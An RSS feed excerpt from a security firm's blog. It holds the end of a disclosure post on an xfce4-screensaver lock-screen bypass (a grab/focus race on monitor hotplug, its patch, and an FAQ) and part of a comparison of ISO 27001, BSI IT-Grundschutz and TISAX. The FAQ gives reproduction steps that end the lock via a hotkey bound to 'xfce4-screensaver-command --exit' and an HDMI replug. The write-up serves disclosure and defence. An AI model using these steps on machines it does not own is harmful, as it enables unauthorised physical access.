&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;  g_return_if_fail&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; (display_x11-&amp;gt;grab_count &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 0&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  display_x11-&amp;gt;grab_count&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;--&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  if&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; (display_x11-&amp;gt;grab_count &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;==&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 0&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;      XUngrabServer&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; (display_x11-&amp;gt;xdisplay);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;      XFlush&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; (display_x11-&amp;gt;xdisplay);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Between &lt;code&gt;XUngrabServer&lt;/code&gt; and the new grab, X11 has no active lock-screen window registered. Input goes to whichever window last held focus. We confirmed this by patching the screensaver to intercept every keystroke and then discard it: keystrokes during the bypass window were never even observed by the screensaver - X11 had routed them straight to background processes.&lt;/p&gt;
&lt;h2 id=&quot;which-fix-closes-the-gap&quot;&gt;Which fix closes the gap?&lt;/h2&gt;
&lt;p&gt;The fix acts on focus, not on grab behavior. Before the new grab, we strip focus from all windows and then set it explicitly on the new login window:&lt;/p&gt;
&lt;pre class=&quot;astro-code github-light&quot; style=&quot;background-color:#fff;color:#24292e;overflow-x:auto&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;GdkDisplay &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;display &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; gs_window_get_display&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; (window);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;GdkWindow &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;gdk_win &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; gs_window_get_gdk_window&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; (window);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;gdk_x11_display_error_trap_push&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; (display);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;XSetInputFocus&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;GDK_DISPLAY_XDISPLAY&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; (display), &lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;GDK_WINDOW_XID&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; (gdk_win), RevertToParent, CurrentTime);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;gdk_x11_display_error_trap_pop_ignored&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; (display);&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We placed this immediately before the existing call:&lt;/p&gt;
&lt;pre class=&quot;astro-code github-light&quot; style=&quot;background-color:#fff;color:#24292e;overflow-x:auto&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;manager_maybe_grab_window&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; (manager, window);&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;inside &lt;code&gt;window_map_event_cb&lt;/code&gt;, which fires when a new window is created. Architecturally, setting focus after the new grab would be cleaner - but in our tests that path reliably broke subsequent logins. The pre-grab focus reset is therefore a deliberate compromise.&lt;/p&gt;
&lt;p&gt;The fix was submitted on 2026-03-11 as &lt;a href=&quot;https://gitlab.xfce.org/apps/xfce4-screensaver/-/merge_requests/60&quot;&gt;merge request #60&lt;/a&gt; in the xfce4-screensaver project and is awaiting upstream integration.&lt;/p&gt;
&lt;h2 id=&quot;how-high-is-the-residual-risk-after-the-fix&quot;&gt;How high is the residual risk after the fix?&lt;/h2&gt;
&lt;p&gt;The fix reliably prevents keystrokes from ending up in background text fields, because the focus they would need is gone. It does not catch hotkeys, which do not require window focus. Users who bind &lt;code&gt;xfce4-screensaver-command --exit&lt;/code&gt; or comparable sensitive actions to global shortcuts remain exposed.&lt;/p&gt;
&lt;p&gt;In a default configuration without security-critical custom shortcuts, residual risk is low. The structurally clean path would be to drop grabs entirely and move the existing login window on monitor switches rather than recreating it. That would require a fundamental redesign of xfce4-screensaver and is not currently on the table.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Practical recommendation:&lt;/strong&gt; Audit your XFCE keybindings for commands that end the screen lock, spawn shells, or launch privileged scripts. Such shortcuts remain an attack vector even with the fix in place.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id=&quot;conclusion-is-xfce4-screensaver-still-usable&quot;&gt;Conclusion: Is xfce4-screensaver still usable?&lt;/h2&gt;
&lt;p&gt;Our first reflex was to advise against using xfce4-screensaver. After the exchange with the xfce4-screensaver and Qubes OS maintainers we see it more pragmatically. No X11 screen locker is immune to this class of timing issue - comparable gaps have appeared in other lockers in the past.&lt;/p&gt;
&lt;p&gt;What matters is how quickly maintainers respond. Our fix was reviewed constructively on the merge request; the exchange with the maintainers was fast and substantive. That is a positive signal for the project.&lt;/p&gt;
&lt;p&gt;Users who need maximum isolation should still evaluate whether a move to Wayland is feasible in the medium term. Wayland replaces grab-based logic with a compositor-centric model in which the screen lock is part of the compositor and focus transitions do not run inside this window. On X11 the pragmatic advice remains: stay on the current version, audit hotkeys, do not trade security for convenience.&lt;/p&gt;
&lt;h2 id=&quot;faq-common-questions-about-the-xfce-screensaver-bypass&quot;&gt;FAQ: Common questions about the XFCE screensaver bypass&lt;/h2&gt;
&lt;h3 id=&quot;which-xfce4-screensaver-versions-are-affected&quot;&gt;Which xfce4-screensaver versions are affected?&lt;/h3&gt;
&lt;p&gt;The vulnerability is confirmed up to and including &lt;code&gt;xfce4-screensaver 4.20.2&lt;/code&gt;, the current release at the time of our analysis. Older 4.x versions share the underlying grab logic and are very likely affected as well. For the current status of the fix in a stable release, check the &lt;a href=&quot;https://gitlab.xfce.org/apps/xfce4-screensaver&quot;&gt;xfce4-screensaver repository&lt;/a&gt; directly.&lt;/p&gt;
&lt;h3 id=&quot;does-the-vulnerability-apply-to-other-x11-screen-lockers&quot;&gt;Does the vulnerability apply to other X11 screen lockers?&lt;/h3&gt;
&lt;p&gt;The specific code location is XFCE-specific, but the underlying pattern - a race condition between &lt;code&gt;XUngrabServer&lt;/code&gt; and the new grab - is a generic X11 concern. Historically, &lt;code&gt;xscreensaver&lt;/code&gt;, &lt;code&gt;slock&lt;/code&gt;, and &lt;code&gt;i3lock&lt;/code&gt; have shown different variants of similar problems. A reliable statement about any specific locker requires its own code analysis.&lt;/p&gt;
&lt;h3 id=&quot;how-can-i-check-whether-my-system-is-vulnerable&quot;&gt;How can I check whether my system is vulnerable?&lt;/h3&gt;
&lt;p&gt;Bind a shortcut such as &lt;em&gt;F7&lt;/em&gt; to &lt;code&gt;xfce4-terminal -x bash -c &quot;xfce4-screensaver-command --exit&quot;&lt;/code&gt;, lock the screen, unplug and replug the HDMI cable briefly, and press the shortcut key. If the lock screen releases without a password, the system is exploitable. Run this test only on a device you control.&lt;/p&gt;
&lt;h3 id=&quot;has-a-cve-id-been-assigned&quot;&gt;Has a CVE ID been assigned?&lt;/h3&gt;
&lt;p&gt;At the time of publication no CVE ID has been issued to us. We coordinated the fix directly with the xfce4-screensaver and Qubes OS maintainers and did not run it through a formal CVE disclosure chain because the patch was already available. If a CVE ID is later assigned by MITRE or by a CNA such as Canonical or Red Hat, we will update this post and record it here.&lt;/p&gt;
&lt;h3 id=&quot;what-are-the-alternatives-to-xfce4-screensaver&quot;&gt;What are the alternatives to xfce4-screensaver?&lt;/h3&gt;
&lt;p&gt;On X11, &lt;code&gt;xscreensaver&lt;/code&gt;, &lt;code&gt;slock&lt;/code&gt;, and &lt;code&gt;physlock&lt;/code&gt; are established alternatives, each with its own trade-off between integration, feature set, and attack surface. The structurally safer option is moving to Wayland-based environments such as GNOME on Wayland or KDE Plasma on Wayland, where screen lockers are part of the compositor.&lt;/p&gt;
&lt;h2 id=&quot;next-steps&quot;&gt;Next steps&lt;/h2&gt;
&lt;p&gt;Do you suspect a similar vulnerability in your infrastructure? Our penetration tests evaluate endpoint hardening, including screen-lock behavior, physical-access scenarios, and HID-based attacks.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://a7.de/en/contact/&quot;&gt;Request a free initial consultation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://a7.de/en/services/penetration-testing/&quot;&gt;Service: Penetration Testing&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://a7.de/en/services/red-teaming/&quot;&gt;Service: Red Teaming&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Further reading: &lt;a href=&quot;https://a7.de/en/wiki/linux-server-hardening-cis-benchmark-ssh-auditd-and-apparmor/&quot;&gt;Linux server hardening&lt;/a&gt; · &lt;a href=&quot;https://a7.de/en/wiki/race-condition-toctou-timing-based-security-vulnerability/&quot;&gt;Race condition / TOCTOU&lt;/a&gt; · &lt;a href=&quot;https://a7.de/en/wiki/vulnerability-disclosure-cvd-vdp-bug-bounty-and-responsible/&quot;&gt;Vulnerability disclosure&lt;/a&gt;.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;&lt;em&gt;Hero image created with AI assistance (Black Forest Labs Flux 1.1 Pro). Disclosure per EU AI Act Art. 50.&lt;/em&gt;&lt;/p&gt;</content:encoded><category>Offensive Security</category><author>kontakt@a7.de (Murat Altindis)</author></item><item><title>ISO 27001 vs. BSI IT-Grundschutz vs. TISAX: Business Comparison 2026</title><link>https://a7.de/en/blog/iso-27001-vs-bsi-it-grundschutz-vs-tisax-the-business-comparison/</link><guid isPermaLink="true">https://a7.de/en/blog/iso-27001-vs-bsi-it-grundschutz-vs-tisax-the-business-comparison/</guid><description>ISO 27001, BSI IT-Grundschutz, and TISAX: A Direct Comparison - Which Framework Is Right for Your Business?</description><pubDate>Wed, 11 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Choosing the right information security framework is a strategic decision. ISO 27001, BSI IT-Grundschutz, and TISAX have different origins, target audiences, and sets of requirements. This comparison shows which framework is right for your organization - and why, in many cases, the answer is “several of them.”&lt;/p&gt;
&lt;h2 id=&quot;an-overview-of-the-three-frameworks&quot;&gt;An Overview of the Three Frameworks&lt;/h2&gt;
&lt;h3 id=&quot;iso-27001---the-international-standard&quot;&gt;ISO 27001 - The international standard&lt;/h3&gt;
&lt;p&gt;ISO 27001 is the globally recognized standard for information security management systems (ISMS). It defines requirements for the establishment, operation, monitoring, and continuous improvement of an ISMS. The certificate is issued by accredited certification bodies and is publicly verifiable.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What ISO 27001 requires:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Scope definition and context analysis (Chapter 4)&lt;/li&gt;
&lt;li&gt;Risk assessment procedures and risk treatment plan (Chapter 6)&lt;/li&gt;
&lt;li&gt;Information security policy and security objectives (Chapters 5, 6.2)&lt;/li&gt;
&lt;li&gt;Statement of Applicability (SoA) for all 93 controls from Annex A&lt;/li&gt;
&lt;li&gt;Internal audit program and management review&lt;/li&gt;
&lt;li&gt;Two-stage certification audit (Stage 1: Document review, Stage 2: Implementation audit)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Timeline for SMEs (50-200 employees):&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Months 1-2: Gap analysis&lt;/li&gt;
&lt;li&gt;Months 3-6: ISMS documentation and implementation of measures&lt;/li&gt;
&lt;li&gt;Months 7-9: Internal audit and management review&lt;/li&gt;
&lt;li&gt;Months 10-12: Stage 1 and Stage 2 certification audit&lt;/li&gt;
&lt;li&gt;Thereafter: Annual surveillance audits, full recertification after three years&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;bsi-it-grundschutz---the-german-operational-framework&quot;&gt;BSI IT-Grundschutz - The German Operational Framework&lt;/h3&gt;
&lt;p&gt;BSI IT-Grundschutz is a methodological standard published by the Federal Office for Information Security (BSI). It is available in full in German and can be downloaded free of charge at bsi.bund.de/grundschutz. The complete compendium comprises over 100 thematic modules - the BSI IT-Grundschutz profile &quot;Cybersecurity for SMEs&quot; (2022) distills 47 concrete, immediately implementable requirements from these.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Core Elements of BSI IT-Grundschutz:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;BSI Standard 200-1:&lt;/strong&gt; Information Security Management Systems&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;BSI Standard 200-2:&lt;/strong&gt; IT-Grundschutz Methodology&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;BSI Standard 200-3:&lt;/strong&gt; Risk Analysis&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;BSI Standard 200-4:&lt;/strong&gt; Business Continuity Management&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;IT-Grundschutz Compendium:&lt;/strong&gt; Over 100 modules (ISMS.1, ORP.4, SYS.2.2, etc.)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;BSI IT-Grundschutz is compatible with ISO/IEC 27001. Many companies use it as an operational implementation method and simultaneously seek ISO 27001 certification. The BSI provides an official mapping that allows IT-Grundschutz implementation to lead directly to ISO 27001 certification.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Time required for the SME profile:&lt;/strong&gt; 4-12 weeks to implement the 47 core measures - significantly less than the full IT-Grundschutz, which can take 6-18 months.&lt;/p&gt;
&lt;h3 id=&quot;tisax---the-automotive-standard&quot;&gt;TISAX - The Automotive Standard&lt;/h3&gt;
&lt;p&gt;TISAX (Trusted Information Security Assessment Exchange) was developed by the VDA (German Association of the Automotive Industry). It is based on the VDA ISA (Information Security Assessment) questionnaire, which in turn is heavily modeled after ISO 27001 - approximately 70% of the VDA ISA controls correspond to ISO 27001 requirements.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Difference from ISO 27001:&lt;/strong&gt; TISAX is not a public certificate, but an industry-internal label. The results are visible only on the ENX portal to authorized OEMs. There is no &quot;TISAX certificate&quot; - only a TISAX label.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;TISAX Assessment Levels:&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;table-scroll&quot;&gt;






















&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Level&lt;/th&gt;&lt;th&gt;Protection Requirement&lt;/th&gt;&lt;th&gt;Assessment Method&lt;/th&gt;&lt;th&gt;Typical Suppliers&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;AL2&lt;/td&gt;&lt;td&gt;Normal&lt;/td&gt;&lt;td&gt;Self-declaration + plausibility check, remote assessment possible&lt;/td&gt;&lt;td&gt;Tier-2/Tier-3, service providers without direct OEM contact&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;AL3&lt;/td&gt;&lt;td&gt;High&lt;/td&gt;&lt;td&gt;On-site audit - no remote option&lt;/td&gt;&lt;td&gt;Tier-1, direct OEM development partners&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;The three TISAX scopes:&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Information Security (IS):&lt;/strong&gt; For all suppliers handling confidential information such as design data or NDA documents&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Prototype Protection (PT):&lt;/strong&gt; For suppliers handling physical prototypes or test vehicles&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Data Protection:&lt;/strong&gt; For suppliers processing personal data of OEM customers&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id=&quot;direct-comparison-iso-27001-vs-bsi-it-grundschutz-vs-tisax&quot;&gt;Direct Comparison: ISO 27001 vs. BSI IT-Grundschutz vs. TISAX&lt;/h2&gt;
&lt;div class=&quot;table-scroll&quot;&gt;


















































































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Feature&lt;/th&gt;&lt;th&gt;ISO 27001&lt;/th&gt;&lt;th&gt;BSI IT-Grundschutz&lt;/th&gt;&lt;th&gt;TISAX&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Publisher&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;ISO/IEC (international)&lt;/td&gt;&lt;td&gt;BSI - Federal Office for Information Security&lt;/td&gt;&lt;td&gt;VDA / ENX Association&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Scope&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Industry-independent&lt;/td&gt;&lt;td&gt;Industry-independent&lt;/td&gt;&lt;td&gt;Automotive industry&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Result&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Public certificate&lt;/td&gt;&lt;td&gt;No certificate (framework)&lt;/td&gt;&lt;td&gt;TISAX label (not public)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Language&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;English (standard), German translations&lt;/td&gt;&lt;td&gt;German&lt;/td&gt;&lt;td&gt;English/German&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Documentation Costs&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;Free (bsi.bund.de)&lt;/td&gt;&lt;td&gt;Free (ENX Portal)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Certification Costs&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;8,000-20,000 EUR&lt;/td&gt;&lt;td&gt;- (no certificate)&lt;/td&gt;&lt;td&gt;3,000-30,000 EUR (assessment)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Total costs for SMEs&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;30,000-150,000 EUR&lt;/td&gt;&lt;td&gt;0-5,000 EUR (consulting)&lt;/td&gt;&lt;td&gt;10,000-50,000 EUR&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Time required&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;10-18 months&lt;/td&gt;&lt;td&gt;4-18 weeks (SME profile)&lt;/td&gt;&lt;td&gt;3-12 months&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;ISO 27001 overlap&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;100%&lt;/td&gt;&lt;td&gt;~90% (mapping available)&lt;/td&gt;&lt;td&gt;~70%&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Recognized for NIS2&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Yes (Art. 21)&lt;/td&gt;&lt;td&gt;Yes (BSI recommendation)&lt;/td&gt;&lt;td&gt;No (industry-specific)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;International recognition&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Worldwide&lt;/td&gt;&lt;td&gt;Germany/EU&lt;/td&gt;&lt;td&gt;Global automotive industry&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Mandatory for&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Many large customers, public sector clients&lt;/td&gt;&lt;td&gt;Government agencies (often mandatory)&lt;/td&gt;&lt;td&gt;Automotive suppliers (de facto mandatory)&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;
&lt;h2 id=&quot;detailed-cost-comparison&quot;&gt;Detailed Cost Comparison&lt;/h2&gt;
&lt;h3 id=&quot;iso-27001---total-costs-for-smes-50-250-employees&quot;&gt;ISO 27001 - Total Costs for SMEs (50-250 Employees)&lt;/h3&gt;
&lt;div class=&quot;table-scroll&quot;&gt;




































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Cost Category&lt;/th&gt;&lt;th&gt;Typical Range&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;External Consulting (Gap Analysis + Implementation)&lt;/td&gt;&lt;td&gt;20,000-60,000 EUR&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Internal personnel costs (project time)&lt;/td&gt;&lt;td&gt;15,000-40,000 EUR&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Tools (ISMS software, vulnerability scanners)&lt;/td&gt;&lt;td&gt;5,000-15,000 EUR/year&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Penetration testing&lt;/td&gt;&lt;td&gt;5,000-20,000 EUR&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Security awareness training&lt;/td&gt;&lt;td&gt;3,000-10,000 EUR/year&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Certification audit (Stage 1 + 2)&lt;/td&gt;&lt;td&gt;8,000-20,000 EUR&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Total initial certification&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;56,000-165,000 EUR&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;Ongoing Costs:&lt;/strong&gt; 36,000-108,000 EUR/year (monitoring audit, ISMS software, awareness, ISB)&lt;/p&gt;
&lt;h3 id=&quot;bsi-it-grundschutz---cost-comparison&quot;&gt;BSI IT-Grundschutz - Cost Comparison&lt;/h3&gt;
&lt;div class=&quot;table-scroll&quot;&gt;





























&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;/th&gt;&lt;th&gt;BSI IT-Grundschutz (without certification)&lt;/th&gt;&lt;th&gt;ISO 27001 Certification&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Tools&lt;/td&gt;&lt;td&gt;0 EUR (verinice is free)&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Consulting&lt;/td&gt;&lt;td&gt;0-5,000 EUR&lt;/td&gt;&lt;td&gt;10,000-30,000 EUR&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Certification body&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;5,000-15,000 EUR&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Time required&lt;/td&gt;&lt;td&gt;4-12 weeks (SME profile)&lt;/td&gt;&lt;td&gt;6-18 months&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;
&lt;h3 id=&quot;tisax---assessment-costs-2025&quot;&gt;TISAX - Assessment Costs (2025)&lt;/h3&gt;
&lt;div class=&quot;table-scroll&quot;&gt;





























&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Level&lt;/th&gt;&lt;th&gt;Company size&lt;/th&gt;&lt;th&gt;Assessment costs&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;AL2 (remote possible)&lt;/td&gt;&lt;td&gt;Small enterprises &amp;lt; 50 employees&lt;/td&gt;&lt;td&gt;3,000-6,000 EUR&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;AL2 (remote possible)&lt;/td&gt;&lt;td&gt;Medium-sized enterprises 50-500 employees&lt;/td&gt;&lt;td&gt;6,000-12,000 EUR&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;AL3 (on-site required)&lt;/td&gt;&lt;td&gt;Small enterprises&lt;/td&gt;&lt;td&gt;8,000-15,000 EUR&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;AL3 (on-site required)&lt;/td&gt;&lt;td&gt;Medium-sized companies&lt;/td&gt;&lt;td&gt;15,000-30,000 EUR&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;
&lt;p&gt;Additional costs include: ENX registration (400 EUR/year), preparation and consulting (10,000-30,000 EUR), and internal personnel costs. The TISAX label is valid for 3 years.&lt;/p&gt;
&lt;h2 id=&quot;which-framework-is-suitable-for-whom&quot;&gt;Which framework is suitable for whom?&lt;/h2&gt;
&lt;h3 id=&quot;iso-27001---recommended-if&quot;&gt;ISO 27001 - Recommended if:&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Customers or tenders explicitly require certification&lt;/li&gt;
&lt;li&gt;You operate in a regulated sector (finance, healthcare, KRITIS)&lt;/li&gt;
&lt;li&gt;You are subject to NIS2 (ISO 27001 covers NIS2 Art. 21)&lt;/li&gt;
&lt;li&gt;You serve government agencies or public sector clients&lt;/li&gt;
&lt;li&gt;International customers expect recognized certification&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;bsi-it-grundschutz---recommended-if&quot;&gt;BSI IT-Grundschutz - Recommended if:&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;You work in public administration (where it is often mandatory)&lt;/li&gt;
&lt;li&gt;You are looking for a cost-effective, pragmatic entry point&lt;/li&gt;
&lt;li&gt;German is used as the working language and German-language documentation is helpful&lt;/li&gt;
&lt;li&gt;You must meet NIS2 requirements and the BSI is accepted as proof&lt;/li&gt;
&lt;li&gt;You are aiming for ISO 27001 and wish to use IT-Grundschutz as a path to implementation&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;tisax---recommended-or-mandatory-if&quot;&gt;TISAX - Recommended (or mandatory) if:&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;You work as a supplier for BMW, Mercedes-Benz, VW, Stellantis, or other OEMs&lt;/li&gt;
&lt;li&gt;You process confidential development data, design documents, or NDA documents&lt;/li&gt;
&lt;li&gt;You handle prototypes or test vehicles at your facility&lt;/li&gt;
&lt;li&gt;Your direct client requires a TISAX label as a contractual prerequisite&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;the-combination-strategy&quot;&gt;The Combination Strategy&lt;/h2&gt;
&lt;p&gt;In practice, the three frameworks are rarely alternatives but rather combinations - depending on the customer base and regulatory environment.&lt;/p&gt;
&lt;h3 id=&quot;recommended-combination-for-most-smes&quot;&gt;Recommended Combination for Most SMEs&lt;/h3&gt;
